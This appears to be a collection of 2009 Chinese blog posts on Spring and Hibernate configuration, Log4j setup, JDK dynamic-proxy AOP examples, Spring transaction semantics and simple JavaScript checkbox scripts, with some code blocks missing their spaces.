<!--    <property name="connection.username">postgres</property>-->

<!--    <property name="connection.password">1111</property>-->

    <!-- SQL dialect -->

    <property name="dialect">

      org.hibernate.dialect.PostgreSQLDialect

   </property>

    <!-- Echo all executed SQL to stdout -->

    <property name="show_sql">true</property>

    <!-- Drop and re-create the database schema on startup -->

    <property name="hbm2ddl.auto">create</property>

    <mapping resource="chapter7/hibernate/domain/Category.hbm.xml" />

    <mapping resource="chapter7/hibernate/domain/Product.hbm.xml" />

</session-factory>

</hibernate-configuration>

注意,代码10.19中被注释掉的部分,它将被抽离到了Spring的上下文配置文件,而其余部分则暂时保持不变。

下面给出Spring的配置文件,如代码10.20所示。

代码10.20 dataAccessContext-local.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"

"http://www.springframework.org/dtd/spring-beans.dtd">

<beans>

<bean id="propertyConfigurer"

class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">

    <property name="locations">

      <list>

        <value>classpath:jdbc.properties</value>

      </list>

    </property>

</bean>

<bean id="dataSource"

class="org.apache.commons.dbcp.BasicDataSource"

destroy-method="close">

    <property name="driverClassName" value="${jdbc.driverClassName}"/>

    <property name="url"

    value="jdbc:postgresql://127.0.0.1:5432/hibernate"/>

    <property name="username" value="${jdbc.username}"/>

    <property name="password" value="${jdbc.password}"/>

</bean>

<bean id="sessionFactory"

class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">

    <property name="dataSource" ref="dataSource"/>

    <property name="configLocations">

      <value>chapter7/spring/hibernate/hibernate.cfg.xml</value>

    </property>

<!--    <property name="mappingResources">-->

<!--      <list>-->

<!--        <value>chapter7/hibernate/domain/Category.hbm.xml</value>-->

<!--        <value>chapter7/hibernate/domain/Product.hbm.xml</value>-->

<!--      </list>-->

<!--    </property>-->

<!--    <property name="hibernateProperties">-->

<!--      <props>-->

<!--        <prop key="hibernate.dialect">

                 org.hibernate.dialect.PostgreSQLDialect

               </prop>-->

<!--        <prop key="show_sql">true</prop>-->

<!--        <prop key="hbm2ddl.auto">create</prop>-->

<!--      </props>-->

<!--    </property>-->

</bean>

</beans>

可以发现,从代码10.19抽离出的数据源,现在换成了ApacheDBCP连接池。当然,也可以换作其他实现,比如从一个JNDI上获取的数据源:

<bean id="dataSource"

class="org.springframework.jndi.JndiObjectFactoryBean">

    <property name="jndiName" value="java:comp/env/jdbc/myds"/>

</bean>

Spring提供了LocalSessionFactoryBean来创建本地的Hibernate SessionFactory,这就类似于上节中介绍的SqlMapClientFactoryBean(它用以创建IBatisSqlMap)。当然也可以创建绑定在JNDI上的SessionFactory,不过这通常只在EJB环境下使用。

注意:代码10.20中被注释掉的部分,如果不使用LocalSessionFactoryBeanconfigLocations属性读取Hibernate的原生配置文件,可由SpringLocalSessionFactoryBean负责配置Hibernate,它和hibernate.cfg.xml的作用完全一致,这时候就不需要Hibernate的原生配置了。

posted @ 2009-07-27 01:50 jadmin 阅读(82) | 评论 (0)编辑 收藏

Spring提供了一个很实用的工具,可以让Web应用灵活配置log4j,这个工具类是:

org.springframework.web.util.Log4jConfigListener

org.springframework.web.util.Log4jConfigServlet

由于:

Note that this class has been deprecated for containers implementing
Servlet API 2.4 or higher, in favor of
{@linkLog4jConfigListener}.</i><br>
According to Servlet 2.4, listeners must be initialized before load-on-startup
servlets. Many Servlet 2.3 containers already enforce this behavior
(see ContextLoaderServlet javadocs for details). If you use such a container,
this servlet can be replaced with Log4jConfigListener.

建议使用org.springframework.web.util.Log4jConfigListener,而非org.springframework.web.util.Log4jConfigServlet,下面来说下Log4jConfigListener的用法:

其实很简单,只要在web.xml文件中配置相关参数和注册此监听器即可,下面是相应的配置片段:

<!-- 配置log4j配置文件的路径,可以是xml或 properties文件(此参数必须配)-->
<context-param>
   <param-name>log4jConfigLocation</param-name>
   <param-value>WEB-INF/log4j.properties</param-value>
</context-param>

<!-- 每隔多少毫秒扫描一下配置文件的变化(此参数可选配) -->
<context-param>
   <param-name>log4jRefreshInterval</param-name>
   <param-value>60000</param-value>
</context-param>

<!-- spring框架默认定义webAppRootKey的值为webapp.root,若不配此参数默认值就是webapp.root(因此,此参数可选配) -->
<context-param>
   <param-name>webAppRootKey</param-name>
   <param-value>home</param-value>
</context-param>

<listener>
   <listener-class>org.springframework.web.util.Log4jConfigListener</listener-class>
</listener>

这样就可以在log4j的配置中如下进行了:

log4j.appender.DailyLog=org.apache.log4j.DailyRollingFileAppender
log4j.appender.DailyLog.File=${home}/WEB-INF/logs/log4j.log
log4j.appender.DailyLog.Append=false
log4j.appender.DailyLog.DatePattern='.'yyyy-MM-dd
log4j.appender.DailyLog.layout=org.apache.log4j.PatternLayout
log4j.appender.DailyLog.layout.ConversionPattern=%p %d [%l]%n    - %m%n

posted @ 2009-07-25 03:34 jadmin 阅读(157) | 评论 (0)编辑 收藏
然后我们要改一下代理对象DynaProxyHello中的代码.如下:
1packagesinosoft.dj.aop.proxyaop;
2
3importjava.lang.reflect.InvocationHandler;
4importjava.lang.reflect.Method;
5importjava.lang.reflect.Proxy;
6
7publicclassDynaProxyHelloimplementsInvocationHandler{
8  /**
9      * 操作者
10     */

11    privateObject proxy;
12  /**
13      * 要处理的对象(也就是我们要在方法的前后加上业务逻辑的对象,如例子中的Hello)
14     */

15    privateObject delegate;
16
17/**
18      * 动态生成方法被处理过后的对象 (写法固定)
19      *
20      *@paramdelegate
21      *@paramproxy
22      *@return
23     */

24    publicObject bind(Object delegate,Object proxy){
25        
26        this.proxy=proxy;
27        this.delegate=delegate;
28        returnProxy.newProxyInstance(
29                this.delegate.getClass().getClassLoader(),this.delegate
30                         .getClass().getInterfaces(),this);
31     }

32  /**
33      * 要处理的对象中的每个方法会被此方法送去JVM调用,也就是说,要处理的对象的方法只能通过此方法调用
34      * 此方法是动态的,不是手动调用的
35     */

36    publicObject invoke(Object proxy, Method method, Object[] args)
37            throwsThrowable{
38         Object result=null;
39        try{
40            //反射得到操作者的实例
41             Class clazz=this.proxy.getClass();
42            //反射得到操作者的Start方法
43             Method start=clazz.getDeclaredMethod("start",
44                    newClass[]{ Method.class});
45            //反射执行start方法
46             start.invoke(this.proxy,newObject[]{ method });
47            //执行要处理对象的原本方法
48             result=method.invoke(this.delegate, args);
49//             反射得到操作者的end方法
50             Method end=clazz.getDeclaredMethod("end",
51                    newClass[]{ Method.class});
52//             反射执行end方法
53             end.invoke(this.proxy,newObject[]{ method });
54
55         }
catch(Exception e){
56             e.printStackTrace();
57         }

58        returnresult;
59     }

60
61}

62

然后我们把Test.java中的代码改一下.测试一下:
packagesinosoft.dj.aop.proxyaop;

publicclassTest{
    
publicstaticvoidmain(String[] args){
         IHello hello
=(IHello)newDynaProxyHello().bind(newHello(),newLoggerOperation());
         hello.sayGoogBye(
"Double J");
         hello.sayHello(
"Double J");
        
     }

}

结果还是一样的吧.

如果你想在每个方法之前加上日志记录,而不在方法后加上日志记录.你就把LoggerOperation类改成如下:
1packagesinosoft.dj.aop.proxyaop;
2
3importjava.lang.reflect.Method;
4
5publicclassLoggerOperationimplementsIOperation{
6
7    publicvoidend(Method method){
8        //Logger.logging(Level.DEBUGE, method.getName() + " Method end.");
9     }

10
11    publicvoidstart(Method method){
12         Logger.logging(Level.INFO, method.getName()+"Method Start!");
13     }

14
15}

16

运行一下.你就会发现,每个方法之后没有记录日志了. 这样,我们就把代理者和操作者解藕了!

下面留一个问题给大家,如果我们不想让所有方法都被日志记录,我们应该怎么去解藕呢.?
我的想法是在代理对象的public Object invoke(Object proxy, Method method, Object[] args)方法里面加上个if(),对传进来的method的名字进行判断,判断的条件存在XML里面.这样我们就可以配置文件时行解藕了.如果有兴趣的朋友可以把操作者,被代理者,都通过配置文件进行配置 ,那么就可以写一个简单的SpringAOP框架了.
posted @ 2009-07-24 20:43 jadmin 阅读(89) | 评论 (0)编辑 收藏
从上面的例子我们看出.只要你是采用面向接口编程,那么,你的任何对象的方法执行之前要加上记录日志的操作都是可以的.他(DynaPoxyHello)自动去代理执行被代理对象(Hello)中的每一个方法,一个java.lang.reflect.InvocationHandler接口就把我们的代理对象和被代理对象解藕了.但是,我们又发现还有一个问题,这个DynaPoxyHello对象只能跟我们去在方法前后加上日志记录的操作.我们能不能把DynaPoxyHello对象和日志操作对象(Logger)解藕呢?
结果是肯定的.让我们来分析一下我们的需求.
我们要在被代理对象的方法前面或者后面去加上日志操作代码(或者是其它操作的代码),
那么,我们可以抽象出一个接口,这个接口里就只有两个方法,一个是在被代理对象要执行方法之前执行的方法,我们取名为start,第二个方法就是在被代理对象执行方法之后执行的方法,我们取名为end .接口定义如下 :
1packagesinosoft.dj.aop.proxyaop;
2
3importjava.lang.reflect.Method;
4
5publicinterfaceIOperation{
6  /**
7      * 方法执行之前的操作
8      *@parammethod
9     */

10    voidstart(Method method);
11  /**
12      * 方法执行之后的操作
13      *@parammethod
14     */

15    voidend(Method method);
16}

17

我们去写一个实现上面接口的类.我们把作他真正的操作者,如下面是日志操作者的一个类:
LoggerOperation.java
packagesinosoft.dj.aop.proxyaop;

importjava.lang.reflect.Method;

publicclassLoggerOperationimplementsIOperation{

    
publicvoidend(Method method){
         Logger.logging(Level.DEBUGE, method.getName()
+"Method end.");
     }


    
publicvoidstart(Method method){
         Logger.logging(Level.INFO, method.getName()
+"Method Start!");
     }


}


posted @ 2009-07-24 20:42 jadmin 阅读(63) | 评论 (0)编辑 收藏

但是我们会发现一个问题,如果我们像Hello这样的类很多,那么,我们是不是要去写很多个HelloProxy这样的类呢.没错,是的.其实也是一种很麻烦的事.在jdk1.3以后.jdk跟我们提供了一个API   java.lang.reflect.InvocationHandler的类. 这个类可以让我们在JVM调用某个类的方法时动态的为些方法做些什么事.让我们把以上的代码改一下来看看效果.
同样,我们写一个IHello的接口和一个Hello的实现类.在接口中.我们定义两个方法;代码如下 :

IHello.java

1package sinosoft.dj.aop.proxyaop;
2
3public interface IHello {
4  /**
5      * 业务处理A方法
6      * @param name
7     */

8    void sayHello(String name);
9  /**
10      * 业务处理B方法
11      * @param name
12     */

13    void sayGoogBye(String name);
14}

15



Hello.java

1package sinosoft.dj.aop.proxyaop;
2
3public class Hello implements IHello {
4
5    public void sayHello(String name) {
6         System.out.println("Hello " + name);
7     }

8    public void sayGoogBye(String name) {
9         System.out.println(name+" GoodBye!");
10     }

11}

12


我们一样的去写一个代理类.只不过.让这个类去实现java.lang.reflect.InvocationHandler接口,代码如下:

1package sinosoft.dj.aop.proxyaop;
2
3import java.lang.reflect.InvocationHandler;
4import java.lang.reflect.Method;
5import java.lang.reflect.Proxy;
6
7public class DynaProxyHello implements InvocationHandler {
8
9   /**
10      * 要处理的对象(也就是我们要在方法的前后加上业务逻辑的对象,如例子中的Hello)
11     */

12    private Object delegate;
13
14/**
15      * 动态生成方法被处理过后的对象 (写法固定)
16      *
17      * @param delegate
18      * @param proxy
19      * @return
20     */

21    public Object bind(Object delegate) {
22        this.delegate = delegate;
23        return Proxy.newProxyInstance(
24                this.delegate.getClass().getClassLoader(), this.delegate
25                         .getClass().getInterfaces(), this);
26     }

27  /**
28      * 要处理的对象中的每个方法会被此方法送去JVM调用,也就是说,要处理的对象的方法只能通过此方法调用
29      * 此方法是动态的,不是手动调用的
30     */

31    public Object invoke(Object proxy, Method method, Object[] args)
32            throws Throwable {
33         Object result = null;
34        try {
35            //执行原来的方法之前记录日志
36             Logger.logging(Level.DEBUGE, method.getName() + " Method end .");
37            
38            //JVM通过这条语句执行原来的方法(反射机制)
39             result = method.invoke(this.delegate, args);
40            //执行原来的方法之后记录日志
41             Logger.logging(Level.INFO, method.getName() + " Method Start!");
42         }
catch (Exception e) {
43             e.printStackTrace();
44         }

45        //返回方法返回值给调用者
46        return result;
47     }

48
49}

50


上面类中出现的Logger类和Level枚举还是和上一上例子的实现是一样的.这里就不贴出代码了.

让我们写一个Test类去测试一下.代码如下:
Test.java

1package sinosoft.dj.aop.proxyaop;
2
3public class Test {
4    public static void main(String[] args) {
5         IHello hello = (IHello)new DynaProxyHello().bind(new Hello());
6         hello.sayGoogBye("Double J");
7         hello.sayHello("Double J");
8        
9     }

10}

11


运行输出的结果如下:

Tue Mar 04 21:24:03 CST 2008 sayGoogBye Method end .
Double J GoodBye!
2008-3-4 21:24:03 sayGoogBye Method Start!
Tue Mar
04 21:24:03 CST 2008 sayHello Method end .
Hello Double J
2008-3-4 21:24:03 sayHello Method Start!


由于线程的关系,第二个方法的开始出现在第一个方法的结束之前.这不是我们所关注的!

posted @ 2009-07-24 20:40 jadmin 阅读(79) | 评论 (0)编辑 收藏
好长时间没有用过Spring了. 突然拿起书.我都发现自己对AOP都不熟悉了.
其实AOP的意思就是面向切面编程.
OO注重的是我们解决问题的方法(封装成Method),而AOP注重的是许多解决解决问题的方法中的共同点,是对OO思想的一种补充!
还是拿人家经常举的一个例子讲解一下吧:
比如说,我们现在要开发的一个应用里面有很多的业务方法,但是,我们现在要对这个方法的执行做全面监控,或部分监控.也许我们就会在要一些方法前去加上一条日志记录,
我们写个例子看看我们最简单的解决方案
我们先写一个接口IHello.java代码如下:
1packagesinosoft.dj.aop.staticaop;
2
3publicinterfaceIHello{
4  /**
5      * 假设这是一个业务方法
6      *@paramname
7     */

8    voidsayHello(String name);
9}

10

里面有个方法,用于输入"Hello" 加传进来的姓名;我们去写个类实现IHello接口
packagesinosoft.dj.aop.staticaop;

publicclassHelloimplementsIHello{

    
publicvoidsayHello(String name){
         System.out.println(
"Hello"+name);
     }


}


现在我们要为这个业务方法加上日志记录的业务,我们在不改变原代码的情况下,我们会去怎么做呢?也许,你会去写一个类去实现IHello接口,并依赖Hello这个类.代码如下:
1packagesinosoft.dj.aop.staticaop;
2
3publicclassHelloProxyimplementsIHello{
4    privateIHello hello;
5
6    publicHelloProxy(IHello hello){
7        this.hello=hello;
8     }

9
10    publicvoidsayHello(String name){
11         Logger.logging(Level.DEBUGE,"sayHello method start.");
12         hello.sayHello(name);
13         Logger.logging(Level.INFO,"sayHello method end!");
14
15     }

16
17}

18

其中.Logger类和Level枚举代码如下:
Logger.java
1packagesinosoft.dj.aop.staticaop;
2
3importjava.util.Date;
4
5publicclassLogger{
6  /**
7      * 根据等级记录日志
8      *@paramlevel
9      *@paramcontext
10     */

11    publicstaticvoidlogging(Level level, String context){
12        if(level.equals(Level.INFO)){
13             System.out.println(newDate().toLocaleString()+""+context);
14         }

15        if(level.equals(Level.DEBUGE)){
16             System.err.println(newDate()+""+context);
17         }

18     }

19
20}

21
Level.java

1packagesinosoft.dj.aop.staticaop;
2
3publicenumLevel{
4     INFO,DEBUGE;
5}

6
那我们去写个测试类看看,代码如下:
Test.java
1packagesinosoft.dj.aop.staticaop;
2
3publicclassTest{
4    publicstaticvoidmain(String[] args){
5         IHello hello=newHelloProxy(newHello());
6         hello.sayHello("Doublej");
7     }

8}

9
运行以上代码我们可以得到下面结果:

Tue Mar0420:57:12CST2008sayHello method start.
Hello Doublej
2008-3-420:57:12sayHello method end!

从上面的代码我们可以看出,hello对象是被HelloProxy这个所谓的代理态所创建的.这样,如果我们以后要把日志记录的功能去掉.那我们只要把得到hello对象的代码改成以下:
1packagesinosoft.dj.aop.staticaop;
2
3publicclassTest{
4    publicstaticvoidmain(String[] args){
5         IHello hello=newHello();
6         hello.sayHello("Doublej");
7     }

8}

9

上面代码,可以说是AOP最简单的实现!
posted @ 2009-07-24 20:37 jadmin 阅读(68) | 评论 (0)编辑 收藏

<SCRIPT LANGUAGE="JavaScript">

       function selectInst(){

              var checkbox = document.getElementsByName("inst");

              for(i=0;i<checkbox.length;i++){

                     if(checkbox[i].checked){

                            var temp = checkbox[i].value;

                            alert(temp);

                     }

              }

       }

</SCRIPT>

<form>

       选择爱好:<br>

       <input type="checkbox" name="inst" value="足球">足球

       <input type="checkbox" name="inst" value="篮球">篮球

       <input type="checkbox" name="inst" value="音乐">音乐

       <input type="checkbox" name="inst" value="上网">上网

       <input type="checkbox" name="inst" value="跳舞">跳舞

       <input type="button" value="提交" onclick="selectInst()">

</form>
posted @ 2009-07-20 22:30 jadmin 阅读(74) | 评论 (0)编辑 收藏

<SCRIPT LANGUAGE="JavaScript">

       var checkFlag = "false";

       function selectAll(field){

              if(checkFlag=="false"){

                     for(i=0;i<field.length;i++){

                            field[i].checked=true;

                     }

                     checkFlag = "true";

              }else{

                     for(i=0;i<field.length;i++){

                            field[i].checked=false;

                     }

                     checkFlag = "false";

              }}

</SCRIPT>

<form>

       选择爱好: <br>

       <input type="checkbox" name="inst" value="足球">足球

       <input type="checkbox" name="inst" value="篮球">篮球

       <input type="checkbox" name="inst" value="音乐">音乐

       <input type="checkbox" name="inst" value="上网">上网

       <input type="checkbox" name="inst" value="跳舞">跳舞

       <input type="checkbox" name="chkAll" value="instAll" onclick="selectAll(this.form.inst)">全选<br>

</form>
posted @ 2009-07-20 22:28 jadmin 阅读(117) | 评论 (0)编辑 收藏
一、AOP 概念
Joinpoint:它定义在哪里加入你的逻辑功能,对于Spring AOP,Jointpoint指的就是Method。

Advice:特定的Jointpoint处运行的代码,对于Spring AOP 来讲,有Before advice、AfterreturningAdvice、ThrowAdvice、AroundAdvice(MethodInteceptor)等。

Pointcut:一组Joinpoint,就是说一个Advice可能在多个地方织入,

Aspect:这个我一直迷惑,它实际是Advice和Pointcut的组合,但是Spring AOP 中的Advisor也是这样一个东西,但是Spring中为什么叫Advisor而不叫做Aspect。

Weaving:将Aspect加入到程序代码的过程,对于Spring AOP,由ProxyFactory或者ProxyFactoryBean负责织入动作。

Target:这个很容易理解,就是需要Aspect功能的对象。

Introduction:引入,就是向对象中加入新的属性或方法,一般是一个实例一个引用对象。当然如果不引入属性或者引入的属性做了线程安全性处理或者只读属性,则一个Class一个引用也是可以的(自己理解)。Per-class lifecycle or per-instance life cycle

二、AOP 种类
1、静态织入:指在编译时期就织入Aspect代码,AspectJ好像是这样做的。

2、动态织入:在运行时期织入,Spring AOP属于动态织入,动态织入又分静动两种,静则指织入过程只在第一次调用时执行;动则指根据代码动态运行的中间状态来决定如何操作,每次调用Target的时候都执行(性能较差)。

三、Spring AOP 代理原理
Spring AOP 是使用代理来完成的,Spring 会使用下面两种方式的其中一种来创建代理:
1、JDK动态代理,特点只能代理接口,性能相对较差,需要设定一组代理接口。
2、CGLIB 代理,可代理接口和类(final method除外),性能较高(生成字节码)。


四、Spring AOP 通知类型
1、BeforeAdvice:前置通知需实现MethodBeforeAdvice,但是该接口的Parent是BeforeAdvice,致于什么用处我想可能是扩展性需求的设计吧。或者Spring未来也并不局限于Method的JoinPoint(胡乱猜测)。BeforeAdvice可以修改目标的参数,也可以通过抛出异常来阻止目标运行。

2、AfterreturningAdvice:实现AfterreturningAdvice,我们无法修改方法的返回值,但是可以通过抛出异常阻止方法运行。

3、AroundAdvice:Spring 通过实现MethodInterceptor(aopalliance)来实现包围通知,最大特点是可以修改返回值,当然它在方法前后都加入了自己的逻辑代码,因此功能异常强大。通过MethodInvocation.proceed()来调用目标方法(甚至可以不调用)。

4、ThrowsAdvice:通过实现若干afterThrowing()来实现。

5、IntroductionInterceptor:Spring 的默认实现为DelegatingIntroductionInterceptor

五、Spring AOP Pointcut
以上只是Advice,如果不指定切入点,Spring 则使用所有可能的Jointpoint进行织入(当然如果你在Advice中进行方法检查除外)。因此切入点在AOP中扮演一个十分重要的角色。Spring 2.0 推荐使用AspectJ的Annocation的切入点表达式来定义切入点,或者使用<aop:xxx/>来定义AOP,这方面本篇不做考虑。

1、Pointcut:它是Spring AOP Pointcut的核心,定义了getClassFilter()和getMethodMatcher()两个方法。

2、ClassFilter:定义了matches(Class cls)一个方法。

3、MethodMatcher() 定义了matches(Method,Class),isRuntime(),matches(Mathod,Class,Object[])三个方法,如果isRuntime()返回true则表示为动态代理(实际是动态代理的动态代理),则调用第三个方法(每访问一次调用一次),否则调用第一个方法(并且只调用一次)

4、Spring AOP 静态切入点的几个实现。
ComposablePointcut 太复杂一个切入点无法表达就用这个,union MethodMatcher和ClassFilter或者intersection MethodMatcher、ClassFilter和Pointcut。为什么不实现union Pointcut? 而只能通过Pointcuts类对Pointcut进行union操作。

ControlFlowPointcut 想对程序的运行过程进行追踪就用这个

DynamicMatchMatcherPointcut 想用动态AOP 就用这个

JdkRegexpMethodPointcut 想使用正则表达式就用这个

Perl5RegexpMethodPointcut

NameMatchMethodPointcut 想用方法名字来匹配就用这个

StaticMethodMatcherPointcut 静态切入点就用这个
没有人反对你直接实现Pointcut:)。

六、Spring AOP 中的Advisor其实就是Aspect
1、 PointcutAdvisor
其实一般使用DefaultPointcutAdvisor就足够了,给它Advice和Pointcut。
当然如果想少写那么几行代码也可以使用NameMatchMethodPointcutAdvisor,RegexpMethodPointcutAdvisor等。
更多Advisor可以查看API文档。


2、 IntroductionAdvisor
默认实现为DefaultIntroductionAdvisor。

七、AOP ProxyFactory
使用代码实现AOP 可使用ProxyFactory
声明式AOP 可使用ProxyFactoryBean
ProxyFactoryBean 需要设定 target,interceptorNames(可以是Advice或者Advisor,注意顺序)
对接口代理需设置proxyInterfaces

八、自动代理
BeanNameAutoProxyCreator
Java代码
  1. <bean class="org.springframework.aop.framework.autoproxy.BeanNameAutoProxyCreator">   
  2.      <property name="beanNames"><value>jdk*,onlyJdk</value></property>   
  3.      <property name="interceptorNames">   
  4.          <list>   
  5.              <value>myInterceptor</value>   
  6.          </list>   
  7.      </property>   
  8. </bean>  

DefaultAdvisorAutoProxyCreator
Java代码
  1. <bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator"/>   
  2. <bean class="org.springframework.transaction.interceptor.TransactionAttributeSourceAdvisor">   
  3.      <property name="transactionInterceptor" ref="transactionInterceptor"/>   
  4. </bean>   
  5. <bean id="customAdvisor" class="com.mycompany.MyAdvisor"/>   
  6. <bean id="businessObject1" class="com.mycompany.BusinessObject1">   
  7.      <!-- Properties omitted -->   
  8. </bean>   
  9. <bean id="businessObject2" class="com.mycompany.BusinessObject2"/>  

posted @ 2009-07-20 21:44 jadmin 阅读(127) | 评论 (0)编辑 收藏

需明确的几个概念:

l         通知(Advice):用于告知系统将有哪些新的行为。

l         切入点(Pointcut):定义了通知应该在应用到那些连接点。

l         目标对象(Target):被通知的对象。

l         代理(Proxy):将通知应用到目标对象后创建的对象。

Spring有两种代理创建方式:

1.   如果目标对象实现了一个或多个接口暴露的方法,Spring将使用JDKjava.lang.reflect.Proxy创建代理。这个类让Spring动态产生一个新的类,它实现了所需的接口,织入了通知,并且代理目标的所有请求。(这篇主要介绍这个方式)

2.   如果目标对象没有实现任何接口,Spring使用CGLIB库生成目标对象的子类。在创建这个子类的时候,Spring将通知织入,并且将对目标对象的调用委托给这个子类。

下面以一个实例说明Spring AOP的基本开发方法:

一.创建通知

Spring连接点模型是建立在方法拦截上,这意味着你编写的

Spring通知会在方法调用周围的各个地方织入系统中。

TestAopServiceAdvice实现了接口MethodBeforeAdvice(前置通知),并实现它的惟一的方法before,这个类就可以在调用目标对象前被调用。同样的还有AfterReturningAdvice(后置通知)MethodInterceptor(环绕通知),异常通知(ThrowsAdvice),引入通知等。

在这个方法中我们输出了一个字符串TestAopServiceAdvice,用于验证这个方法是否在目标对象前调用了。

注意:我们无法改变before方法中的参数argstarget中的值,args中存的是原来要传入目标对象的变量,target即指目标对象。

二.配置Spring XML配置文件

要在Spring中实现AOP,一般情况下需要配置4bean

1.   目标对象(target

2.   通知(advice)

3.   切入点(pointcut)

4.   代理(proxy)

切入点又分为静态切入点和动态切入点

l         静态切入点的意思是通知总是被执行,也是最常用的一种切入点。

l         动态切入点根据运行时方法的参数值决定通知是否被执行。

在图2中,定义了使用了一个Spring提供的静态切入点

NameMatchMethodPointAdvisor,它保证了当被调用的方法的名字与给出的映射名字相匹配的时候,这个切入点才匹配。

Spring提供的另一个静态切入点为RegexpMethodPointcutAdvisor,让你可以利用正则表达式来定义切入点,正则表达式需要jakarta-oro.jar包的支持。

使用ProxyBeanFactory可以创建一个被通知的类,即代理对象。它的最常用的三个控制行为的属性是:

l         proxyInterfaces:代理应该实现的接口列表。

l         interceptorNames:需要应用到目标对象上的通知Bean的名字。可以是拦截器、Advisor或其他通知类的名字。

注:在用容器的getBean方法时,应该是getBean(代理类的名字),而不是getBean(目标对象的名字),否则AOP无法工作。

posted @ 2009-07-20 21:43 jadmin 阅读(74) | 评论 (0)编辑 收藏
Spring2.5是Spring2.1各个里程碑版本的终结。

Spring2.5是对Spring2.0的增强,增加了一些新的特性:

  1. 全面支持java6和javaEE5(JDBC 4.0, JTA 1.1, JavaMail 1.4, JAX-WS 2.0等)
  2. 全特性的注释驱动依赖注入,包括对限定词的支持
  3. 支持基于classpath的组件扫描,自动侦测有注释的类
  4. 支持AspectJ切点表达式中包含bean name切点元素
  5. 内置AspectJ加载时编织,基于LoadTimeWeaver 提取
  6. 更多的XML配置文件的名字空间支持,比如context和jms等,最大程度提高编写的方便性
  7. 全面修订集成测试框架,支持JUnit4和TestNG
  8. 新的基于注释的Servlet MVC和Portlet MVC控制器风格配置
  9. 扩展SimpleJdbcTemplate功能,支持命名的参数等
  10. 官方认可的Websphere支持,支持WebSphere 6 UOWManager 机制
  11. Spring框架的jar文件,兼容OSGi绑定,并能直接使用
  12. Spring ApplicationContext可被部署为JCA RAR文件,用于非主导应用模块
  13. JCA 1.5消息终端管理,用于Spring管理的JMS和CCI消息监听器

另外,分发包有三种形式,增加了最小标准zip包和包含文档的zip包。
官方推荐升级所有2.0.x版本到2.5版本,因为可以从新特性中获益和显著提升性能。
Spring2.0可以简单的升级到2.5版本,只需替换相关jar文件。
Spring2.5仍然兼容JDK1.4.2+和J2EE1.3+。
posted @ 2009-07-20 01:45 jadmin 阅读(68) | 评论 (0)编辑 收藏

一、事务管理
事务传播
1、required:方法在一个事务中执行,如果调用的方法在一个事务中,则使用该事务,否则将创建一个新的事务。(必须有,有就用,没有就建)
2、mandatory:如果运行于事务中的客户调用了该方法,方法在客户的事务中执行。如果客户没有关联到事务中,容器就会抛出TransactionRequiredException.(必须有,有就用,没有报错)
3、requiresnew:方法将在一个新的事务中执行,如果调用的方法已经在一个事务中,则暂停旧的事务。在调用结束后恢复旧的事务。(必须有,有没有都要建)
4、supports:如果方法在一个事务中被调用,则使用该事务,否则不使用事务。(有没有都中,有就用,没有不用)
5、not_supported:如果方法在一个事务中被调用,容器会在调用之前终止该事务。在调用结束后,容器会恢复客户事务。如果客户没有关联到一个事务中,容器不会入运行在该方法启动一个新的事务。用notsupported属性标识不需要事务的方法。因为事务会带来更高的性能支出,所以这个属性可以提高性能。(不需要,有就挂起事务,没有直接运行)
6、Never:如果在一个事务中调用该方法,容器会抛出RemoteException。如果客户没有关联到一个事务中,容器不会在运行入该方法前启动一个新的事务。(必须没有,有就报错,没有就直接运行)
事务隔离
为什么要使用事物隔离,是因为事物并发引起的一些错误现象
并发问题:
脏读:一个事务读取了未提交的事务
不可重复读:同一个事务中多次读取同一个数据返回的结果不同
幻读:一个事务读取到了另一个事务已提交的insert数据。

事务并发处理:
共享锁:共享锁用于读取数据操作,它允许其他事务同时读取某锁定的资源,但不允许其他事务更新它。
排他锁:排它锁用于修改数据的场合。它锁定的资源,其他事务不能读取也不能修改。
更新锁:更新锁在更新操作的初始化阶段用来锁定可能要被修改的资源,从而避免使用共享锁造成的死锁现象。

事务隔离级别:
ReadUncommitted:读未提交数据,该选项指示数据库读取数据时不使用任何锁。在这种情况下,事务可以读取到未提交的数据,会出现脏读,不可重复读和幻读现象。

ReadCommited:
该选项只会返回"读取时间点"之前已提交的数据。因此可以避免脏读,但是会出现不可重复读,另外还会出现幻读现象。

RepeatableRead:该选项能够保证可重复读,可以避免脏读和不可重复读。

Serializable:该选项能够避免脏读、不可重复读和幻读现象,是最严格的隔离级别。



二、spring集成struts
1、应用服务器没有直接调用启动Spring的方法,但是应用服务器编译运行servlet,filter,listener,所以spring提供一个listener类,在服务器初始化的时候调用该类中的方法,所以在容器中配置如下:
<!-- 指定spring的配置文件,多个文件之间用逗号分隔 -->
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:beans.xml</param-value>
</context-param>
<!-- 启动Spring容器 -->
<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
2、我们把我们需要交给spring管理的类在beans.xml中配置:
如<bean name="/user/regist"
class="cn.sun.ssh.web.action.UserManagerAction">
<property name="dao" ref="userDAO"></property>
</bean>
但是action是被引擎调用的,我们如何把需要的action交给引擎呢,通过重写struts中的requestprocessor类中的processactioncreate方法,在spring中获得action后交给引擎管理,这也是struts的一个扩展机制。
所以我们要在struts-config.xml中配置controller
<controller>
<set-property property="processorClass" value="org.springframework.web.struts.DelegatingRequestProcessor"/>
</controller>


三、spring集成hibernate
1、spring集成hibernate时把dao和sessionfactory交给spring管理

posted @ 2009-07-20 00:48 jadmin 阅读(57) | 评论 (0)编辑 收藏
        切面(Aspect): 一个关注点的模块化,这个关注点可能会横切多个对象。事务管理是J2EE应用中一个关于横切关注点的很好的例子。 在Spring AOP中,切面可以使用通用类(基于模式的风格) 或者在普通类中以 @Aspect 注解(@AspectJ风格)来实现。

        连接点(Joinpoint): 在程序执行过程中某个特定的点,比如某方法调用的时候或者处理异常的时候。 在Spring AOP中,一个连接点 总是 代表一个方法的执行。 通过声明一个org.aspectj.lang.JoinPoint类型的参数可以使通知(Advice)的主体部分获得连接点信息。

        通知(Advice): 在切面的某个特定的连接点(Joinpoint)上执行的动作。通知有各种类型,其中包括“around”、“before”和“after”等通知。 通知的类型将在后面部分进行讨论。许多AOP框架,包括Spring,都是以拦截器做通知模型, 并维护一个以连接点为中心的拦截器链。

